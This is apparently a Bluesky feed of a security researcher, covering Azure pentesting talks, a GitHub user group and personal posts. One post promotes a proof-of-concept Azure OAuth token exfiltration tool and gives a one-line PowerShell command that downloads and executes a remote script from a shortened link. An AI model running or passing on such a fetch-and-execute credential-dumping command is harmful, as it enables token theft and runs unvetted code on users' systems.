Rogier Dijkman | MVP
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rogierdijkman.bsky.social
Rogier Dijkman | MVP
@rogierdijkman.bsky.social
🔐 Security Researcher | Marathon Runner | Author | IaC | #GitHub | #PowerShell | #Azure #Bicep | #Copilot
Had a great time presenting “Hacking Azure” with #BlackCat at @mc2mc.be.

Thank you to @Savaco for providing such an excellent location.

I’m finalizing the slides, recording short videos, and updating the walkthrough so attendees can easily revisit the steps demonstrated.
October 17, 2025 at 7:07 AM
Traveling through Florida for three weeks this summer. I am getting crazy of all the waivers that needs to be signed everywhere.

I wouldn’t be surprised if I need to sign a waiver if you need to fart next time.
August 2, 2025 at 11:41 AM
Operating the camera 📷 at the #YellowHat event at @Microsoft
March 6, 2025 at 3:22 PM
🚨AzTokenDumpr 🚨
I have created a PoC to quickly exfiltrate #Microsoft #Azure oAuth Tokens from PowerShell. no installation required!
run: PS> iex (irm bit.ly/blct-token)
February 12, 2025 at 7:22 PM
🚨 ANNOUNCEMENT🚨
I'm excited to announce the start of the "GitHub Lowlands" user group! 🤩

This is going to be awesome for connecting with others and stay up-date on everything about GitHub.

@github.com @arthurvandijk.bsky.social
#github #copilot #community
January 24, 2025 at 3:35 PM

WoW, this is awesome!
GitHub Copilot now offers a free tier

github.com/login?return...
December 18, 2024 at 9:37 PM
November 28, 2024 at 4:13 PM
Having fun with putting payloads in a TXT records to trigger ASCII Art in the terminal.

Next will be some ANSI Escape code magic and tampering with Azure DNS.

#security
November 22, 2024 at 4:31 PM
Working this weekend on my Azure pentesting PowerShell Module #BlackCat If you have any suggestions or would like to contribute, sent me a PM 🏴
November 22, 2024 at 2:32 PM
Exchange Online Inbound DANE with DNSSEC is now Public Available 🥳 🎉

techcommunity.microsoft.com/t5/exchange-...
October 29, 2024 at 12:49 PM